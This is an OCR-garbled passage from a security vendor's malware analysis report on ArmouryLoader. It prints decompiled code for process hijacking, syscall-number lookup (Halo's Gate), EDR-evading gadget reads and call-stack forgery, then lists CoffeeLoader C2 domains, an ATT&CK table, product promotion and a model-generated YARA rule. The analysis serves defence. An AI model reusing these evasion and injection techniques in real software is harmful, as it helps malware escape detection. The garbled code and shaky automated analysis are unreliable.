specific function is encapsulated to call the 64- bit function just like the normal function.
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1%
20
21
22
23
24
23
26
27
28
29
30
31
32
33
34
35

kool NtGetContextThread 64 warp (gword ThreadHandle,gword pContext)

bool bVarl;
gword NtGetContextThread;

gword gVarl;

int funchash;
NtGetContextThread = ::NtGetContextThread;
1f (::NtGetContextThread == 0) {
funchash = -0xc3b%=56;
NtGetContextThread = get_ntdllée4();
NtGetContextThread = get_ func64 (NtGetContextThread, funchash);
if (NtGetContextThread != 0) goto LaB 004017£d;
}
else |
LABE 004017fd:
: :NtGetContextThread = NtGetContextThread;
/* call_ funcédc (cafuCRHIL, SHIME, BEEH. .. ;
gVar2 = call funcé4(NtGetContextThread,2,C0NCAT44 (ThreadHandle. 4 4 ,ThreadHandle >> 0xlf),
ThreadHandls, ThreadHandle. 4 4 >> 0xlf);
NtGetContextThread = ::NtGetContextThread;
if (gVarz == 0) {
bVarl = true;
goto LAB 00401822;
}
}
bvarl = false;
LAB 00401822:
:NtGetContextThread. 4 _4_ = NitGetContextThread >> 0x20;
::NtGetContextThread. 0_4 = NtGetContextThread;
return bvVarl;

Figure 4-26 ArmouryLoader encapsulates a 64- bit NtGetContextThread 426

Finally, the 64- bit shellcode is executed in dllhost. exe by hijacking the main process.
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(*ExpandEnvironmen:S:ringsW}(%Sys:emRaa:%_sys:em32,lacal_ES&,DxlD4};
CreateProcessW = load func(local 14,0x2e2476k3);
result = (*CreateProcessW) (local 8598, 0x0,0x0,0x0,0,0x14,0x0,local_ &90,&local 488,&local 28);
if (result != 0) {
local ==0 = 0x10001;
dVarl = NtGetContextThread 64 warp(local 28.hThread, contextid);
if (dvarl != 0) {
buffer = NtAllocateVirtualMemory &4 warp(local 28.hProcess,0,0,0xc5££,0x3000,4);
NtWriteVirtualMemory_S4_warp(lacal_28.hPIocess,buffer,&DAT_DD%lDlGD,Dxc5ff,D);
NtProtectVirtualMemory €4 warp
(local_28 .hProcess, buffer, Oxc3ff, 0x20, ¥SystemRoot%_system32 dllhost.exe + 0xl06
Vi
if (buffer != 0) {
local el18 = buffer;
[+ BT el FlconTEx T8 EHRIPAbutfer +/
NtSetContextThread (local 28.hThread,contextéd);
ResumeThread = load func(local 14,0x6ldel>54);
(*ResumeThread) (local 28.hThread);

Figure 4-27 ArmouryLoader hijacking the 64-bit dllhost. exe main process 427
4.9 Armouryloader phase 8

In the eighth stage, ArmouryLoader first obtains the addresses of ZwAddBootEntry, NtAllocateVirtualMemory

and NtProtectVirtualMemory functions, and searches for the corresponding system call number.

hash = hash_string(s_zZwAddBootEntry_ 00000kk0);
search_syscall{hash,&n:dll_da:a,Eyscall_infa};
copy_ struct (EZwAddBootEntry data,syscall info);
hash = hash string(s NtAllocateVirtualMsmory 00000bbf);
search_syscall{hash,&n:dll_da:a,Eyscall_infa};
copy_struct (NtRllocateVirtualMemory data,syscall_info);
hash = hash string(s_NtProtectVirtualMemory_ 00000kd7);
search_syscall{hash,&n:dll_da:a,Eyscall_infa};

copy_struct (NtProtsectVirtualMemory data,syscall info);
Figure 4-28 Armoury search function and system call number 4-28

In the new version of ArmouryLoader, ArmouryLoader will search ntdll for a gadget of mov rax, [rax]; ret;, and

read sensitive memory areas through the gadget to fool EDR that the read behavior is issued by ntdll.
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I i
mov_rax [rax] ret = search_gadget (IMAGE EXPORT DIRECTCRY + 0x1000,0x1000000);

mov rax, [rax];ret;

=]

IMAGE EXPORT DIRECTORY

_1fanew = read OWORD(d1ll + Ox3c,mov_rax [rax] ret);
read OWORD(s lfanew + 0x88 + dll,mov_rax [rax] ret);

IMAGE EXPORT DIRECTORY IMAGE EXPORT DIRECTORY & Oxffffffff;

BddressCOfNamss = read OWORD(dll + IMAGE EXPORT DIRECTORY + 0x20,mov_rax [rax] ret);
AddressCfFunctions = read COWORD(dll + IMAGE EXPORT DIRECTCRY + Oxlec,mov_rax [rax] rest);
AddressCfNameCOrdinals = read CWORD(dll + IMAGE EXPCRT DIRECTORY + 0x24,mov_rax [rax]_ret);

NumberCfNames = read OWORD(dll + IMAGE EXPCORT_DIRECTORY + 0xl18,mov_rax [rax] ret);
Figure 4-29 ArmouryLoader indirectly reads data through a gadget 429

Armouryloader will try to search the function for a specific sequence of bytes to get the call number.

for (idx = 0; NumberCOfFunctions * 2 != idx; idx = idx + 2) {

hNtdll = ntdll data—->*hNtdll;

uVarS = hash string(*(ntdll data—>AddressCfNames + idx * 2} + hwtdll);
{
Lddress0fNameOrdinals
*&p buf-*hash = hash;

func_addr = *(ntdll_ data->AddressOfFunctions + *(ZddressCfNameOrdinals + idx) * 4) + hNtdll

if (uVarS == hash)

ntdll_data—bAddressOfNameOrdinals;

r

/* mow rl0,rcx

mov Sax, 717

(*func_addr == 0x4c) {
if (((func_addr [1] == 0x8b)
1f ((func_addr[6] == 0x0)

syscall number = *(func

if

p_buf->func addr = func
p_buf-rsyscall number =

o
&& (func_addr[2] == 0xdl)) && (func_ addr[3] == 0xb8)) {
&& (func_addr[7] == 0x0}) {

addr + 4);
addr;
syscall number;

break;

Figure 4-30 ArmouryLoader Search System Call Number 430

If that object function is hook, it will cause ArmouryLoader to fail to search for the byte sequence, which in turn
will cause the system call numb to be unavailable. At this point, ArmouryLoader will use the Halo's Gate technology
to further search for the system call number. This technique searches for neighboring Zw functions, from which the
system call number is retrieved. The system call number of the objective function can be calculated according to the

distance between the adjacent function and the objective function.
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» NEBEE faw/scER T BE22FH 4
= ]
do |
- I d 2 YR ERERNREEES
£ ((({func_adds down[0x20] = 'L') & (¢ " fownfoxdll = Uxi%)) &s
((fu 1dy 1 [Ox22] == Oxdl &6
(e w1 [OxZ3] == Oxb3 &6 (! “ w1 [ORZIE] == "\O')))))) &6
( [0x27] == LRI
- [ivaze + A3
= (
p_buf->func addr = fur 1
p_bui-rayscall number = | 7
break;
)
SAERHBENER, BT FFLNS5%ERE
A (((((ra . [-0x29 = "L") && (I idr o [-0x1f] == OxEb)) &4
(f ids [-Oxle] = Oxdl)) &
((func adde [-0x1da] == QOneis 66 (fuw i g 9 [~Cxla] == \O')))) k&
(£ . spo [-0x18] == '\0")) |
L = fur [S - Lfvars)y
2 = fu udds (4 -
p_buf->func_addr = fur
p_buf->syscall numbar & cffset + b¥Varld | i@ rl <<
break;
= * 1;
= o Ox20;
= + Ox2
t = ‘ no
| shile (of t= Oxlf5):

Figure 4-31 ArmouryLoader searches for system call numbers using Halo's Gate technology 431

In that new version of armoury load, the algorithm is further improved. The ArmouryLoader no longer assumes
the size of the Zw function to be 32 bytes, but calculates the minimum spacing of the Zw function through the

derivation table of the traversal function to obtain the size of the Zw function.
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TN BT NE ) BE

Figure 4-32 ArmouryLoader Calculates the Minimum Spacing of Zw Function 4-32

After searching for the system call number, ArmouryLoader uses NtAllocateVirtualMemory and
NtProtectVirtualMemory to request memory space for the final target payload. In this process, ArmouryLoader will
first calculate the system function that will be called using syscall in the ZwAddBootEntry function with the system

call number. And forge the call stack on this basis.

The procedure searches kernel32. dll for a jmp [rbx] gadget that returns the control flow after the function call

ends.

i = 0;
while({ trues )} {
if (search_size - 1U <= i) |

return 0;

f*  Jmp OWORD PTR [rbx] */
if ((hFern=l32[i1i] == 0xff) && (hEsernel32[1i + 1] == 0=23)) break;
1i=1+ 1;

}

return hFernel32 + 1i;

Figure 4-33Armoury Search jmp [rbx] gadget 433
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Then ArmouryLoader obtains the RUNTIME  FUNCTION information of the function through ExceptionDir

in the .pdata section, so as to find the UnwindInfo of the function, where the UnwindInfo contains the frame stack

size information of the function.

for (1 = 0; 1 <« NumberofSections; 1 = 1 + 1) {
hash = hash_string(IMAGE_SECTIGN_EEAEER—>Name,D);
/* .pdata */
if (hash == 0x78£fa635d) {

ionDir = IMAGE SECTION HEADER—>VirtualAddress + DllBase;

ExceptionDir_end = &ExceptionDir—>BeginfAddress + (IMAGE SECTICN HEADER->Misc).VirtualSiz

Except

=;
1
IMAGE SECTION HEADER = IMAGE SECTION HEADER + 1;

ceptionDir = ExceptionDir + 1) {

if ({ExceptionDir—>Beginfddress <= gadget_addr - DllBass) &&
(gadget_addr - DllBase <= ExceptionDir->EndAddress)) {

*dll = D1l1Base;

return ExceptionDir;

Figure 4-34 RUNTIME _ FUNCTION information of ArmouryLoader search function 434

Armouryloader then uses UnwindInfo to calculate the frame stack size of the function where the jmp [rbx]

gadget is located and BaseThreadInitThunk and RtlUserThreadStart for subsequent forgery.
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while { » - in, L < nt | d=n) |
= . iz
-y r ~>UNNIND O00E + “ 2+ 1)
= ¢;
= o Ox
ie ( == UNO IL MALL) |
- - - - . i
|
wlse if | Lnd < 3) |
if (UnwindOp == UNOF PUAM NONVOL) |
= .0
I
else |
WOF A LARGE
L, 1 ~HF0, Ma . windos® T
if ( =0 |
ri = Cawlodinfodddress—>U0NIND CODR]idx 3] .PransOffsar * 5;
]
elee |
L - v s
» windInfodddress->UNNIND CODElids 1) .framedffset * OxllCCd +
ya=PORAIND CODE | | . PramaOffnet;
)
- !
|
i
else if | - uw = (N |
ooy I
)
Ad Ix -

Figure 4-35 ArmouryLoader Calculating Function Stack Size 435

Armouryloader then places the jmp [rbx] gadget at the return address of syscall, and the pointer to the function's
true return address is placed in the rbx register to implement the return control flow. The frame stacks of
BaseThreadInitThunk and RtlUserThreadStart functions will be deployed on subsequent call stacks to fool EDR into

thinking that syscall is sent from RtlUserThreadStart to BaseThreadInitThunk via a function in kernel32.

pusM 0x0 Ti#EfAsun sssfiuoy [ree] RIRBHTE
sus RIP,qword ptr [RDI + Ox38] RtlUserThreadStart_alloc size
MOV Bll,qword ptr [RDI + Oxdd)

MOV quord ptr [RE7),R11 RtlUserxThreadStart_gadget_addr
sus RIP,gword ptr [RODT + 0x20) BaseThreadInitThunk_alloc_aize
MOV Ell,gword ptr [RDI + Ox28

MOV gword ptr [RSE],R11 BaseThreadinitThunk gadget addr
3UB R3IP,gqword ptr [ROI + Ox30) jmp_[rbx}_alloc_size

MOV Ell,gword ptr [RDI + Ox50]

NoV quord ptr [RSP),R11 jmp_[rbx]_offset

MOV Rll,RsT syscall gadget

MOV gword ptr {801 + OxB],Rl2

MOV gquord ptr [REDI + OxI0],RnX

MOV EBX,gword ptr [RDI]

MOV quord ptr [RDI], REX Qﬁimﬁxixﬁﬂﬂiﬁ@mm

MOV REX, RDT 18 EI s b ) AT ARax

MoV R10,RCX

MOV RAX,gword ptr [ROI + Ox48]

Jue 211 K‘*yi’]sy:call_qad-;et

Figure 4-36 ArmouryLoader Forges Call Stack 436
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After allocating the memory space, ArmouryLoader copies the final target payload to the specified memory area,
completes the redirection, and calls the program entry point to complete the posting. According to the final C2 domain

name, the target payload of ArmouryLoader delivery is CoffeeLoader.

1lvar2 = DAT 20ccacD00;
1varl = * (DAT Z20ccacO00 + O0x2cl);
*(DAT Z20ccac000 + 0x278) = 0;

*(1lvar2 + 0x253) = 0Oxlkbk;

*(1lvar2 + 0x2a5) = 0xlkbb;

*(1lVarz + 0x279) = 1lvarl + 0x1Z;
F(1lVar2 + 0x268) = 0x2001k7740;
*(lvar2 + 0x270) = 0x100000002;
*(lvar2 + 0x25d) =|L"mvnrepu.net";|
*(1lvarZ + OxZad) = local Z4;
*(1lvVarZ + 0x28d) =|L"freeimagecdn.com";|
*(lvar2 + 0xZb5) = 8000;

*(1lvar2 + 0x281l) = 1;

*{1lvVarz + 0x2B9) = 0;

*(1lvar2 + 0x2Zkbd) = 1;

Figure 4-37 CoffeeLoader C2 Address 437

5 10Cs
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6 ATT&CK Mapping Map of Samples
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Figure 6-1 Mapping of Technical Features to ATT&CK 61
Specific ATT & CK technical behavior description table:

Table 6-1 ATT&CK Technical Behavior Descriptionl

ATT&CK stages / . .
. Specific behavior Notes
categories
. Utilization of planned : . .
Persistence . Armouryloader is persistent by scheduling tasks
tasks / jobs

Abuse of enhanced Abuse of enhanced

. . Armouryloader carries on the authority through the COM
control authority control authority

. . component
mechanism mechanism

Armouryloader has a large number of XOR-encrypted

. code segments
Anti-obfuscate / decode

. . Armouryloader decrypts the code through OpenCL
files or information

Armouryloader executes 64-bit code through the Heaven's
Gate
Modify file and directory ~ Armouryloader prohibits user changes and deletions by
permissions adding ACL records
Defensive evasion Armouryloader adds hidden, system, and read-only
Concealment . .
properties to persisted files
Armouryloader reads the target memory through the
system DLL widget
Execute orders indirectly ~ Armouryloader directly calls system functions through
syscall
Armoury Loader Forges Call Function Call Stack

Counterfeit Armouryloader disguises Asus system management
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software and has an invalid digital signature

Confusion of documents  The ArmouryLoader code has confusion
or information Armouryloader retrieves the API through a hash

—Ips users defend against loader threats

After testing, the terminal security products of Antiy IEP, relying on Antiy's self-developed threat detection
engine and core-level active defense capability, can effectively detect, kill and defend the virus samples found this

time.

Antiy IEP can monitor the local disk in real time and automatically detect the virus of new files. In response to
this threat, when a user stores the ArmouryLoader loader locally by receiving email attachments, transmitting WeChat
messages and downloading via the network, it will immediately alert the virus and clear malicious files. Prevent the

terminal from being attacked by the user boot file.

X EREEEESR

RIS
BEE

EtEEhIsEERERE.
HHEEF: Armouryloader - Bl=E

'ﬁﬁ;i:;all.._ |1 g 5:|

Figure 7-1 When a virus is found, the first time a virus is captured and an alarm is sent 71
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Antiy IEP also provides a unified management platform for users, through which administrators can view details

of threats within the network in a centralized manner and handle them in batches, thus improving the efficiency of

terminal security operation and maintenance.
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1 Microsoft Yindows 1 e, 3 Antiyy 14 1)

LERSRe R WESEOS, BUONIEGwe
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Figure 7-2 The IEP Management Center assists the administrator to realize efficient terminal security

management 72

Appendix: Antiy LanDi VILLM (Virus Inspection Large Language Model)

Antiy LanDi VILLM can carry out automatic analysis on the samples. part of the analysis contents are as follows:
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Based on the provided logs and analysis results, the following are detailed conclusions and explanations:
1. Judgment conclusion

Evaluation result: Doubtful (accuracy: About 95%)
2. Detailed explanation
3. Basis of feature matching and judgment:

o Malicious API call: Multiple call of certificate-related API in log, such as GetDevicelndex,
FreeEnvironmentStrings, CertGen, etc. These APIs are often used to handle certificate and
security-related tasks, and malware often use these APIs to perform malicious operations, such
as bypassing certificate verification and obtaining private keys.

o String analysis: The log contains a large number of certificate-related URLs and strings, such as
crl3. digicert .com, ocsp. digicert, ccerts. Digicert .com, etc. These domain names are usually
associated with the CA authority associated with the digital certificate.

o Obfuscating and coding: Obfuscating snippets of code that appear in logs (such as?? Indicating
that it is not selected for use as a feature) may be used to hide malicious behavior, increasing
the difficulty of detection.

o Abnormal behavior pattern: Multiple repeated byte patterns in the log (for example, 04 81 AD
30 81 AA 3053 A0 51 A0 4F 86 4D 68 74 74 70 3A 2F 2F 63 72 6C) 33 2E 64 69 69 63 65 72
74 2E 63 6F 6D), which may be used to populate data or hide malware.

4. malware characteristics:

o Certificate-related operations: There are certificate-related API calls that may be used to obtain,
verify, or use certificates for malicious communication.

o Obfuscation and encryption: The log contains a lot of obfuscated code, which increases the
complexity of detection and may be used to hide malicious behavior.

o Exception string: Multiple domain names and paths associated with digital certificates appear,
which may be used to bypass security detections or conduct malicious communications.

5. Assessment accuracy:

o High confidence feature: There are many features matching with malware features in the log,
which increases the accuracy of detection.

o Potential ambiguity: Some features (such as?? Indicates that it is not selected for use as a feature)
may hide malicious behavior, but the overall feature still shows a high degree of suspicion.

According to the national standard draft, the threat classification is Trojan. Win32. Spybind, and the YARA rules

for automatic feature extraction are as follows:

Rule Trojan. Win32.shipcome: Trojan {

Meta:

Description = "This is a section of YARA rules generated by the VILLM V2 model. used to detect Trojan.
Win32.shipcome."

Strings:

$a={f7d34f33f8cl c617}

$b={cl ce 17 33 18 47 {7 d3}

$c={4e33¢333cff7d033c5cl cf174edb}

$d = {f7.d0 f7 d0 87 c7 £7 d2}

$e = {4b 33 c¢d 87 cl ffe0}
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Condition:
All of them

}

Antiy LanDi VILLM is the first threat detection generation algorithm registered by the State Cyberspace
Administration in China. The model is trained based on the massive sample feature engineering data accumulated
over the past 20 years by Antiy Cyber Super-brain. The training data includes file identification information, decision
information, attribute information, structure information, behavior information, host environment information, data
information, and the like, The system supports threat judgment and detailed knowledge understanding of vector
features under different scenarios, forms multi-form detection methods applying different requirements and scenarios,

and improves the ability to judge hidden threats in the background. Further empowering safe operations.

AIFE VILLM V2 {58 DTSR
Sth4SHE: Trojan.Win32.ShipCome

V‘ﬁ, N A
W95

d58fc41846494eb083b3041c8cf0121597676ec6b41537675¢7fd528bfbdcdd9
S 1T MB

SR T 377 BHSASE,

IgAZETE) 0.21 2,

TR R AR

SRR TS

00167ASC
00105347
D00AB144

Figure 8-1 The sample analysis results of Antiy LanDi VILLM-1
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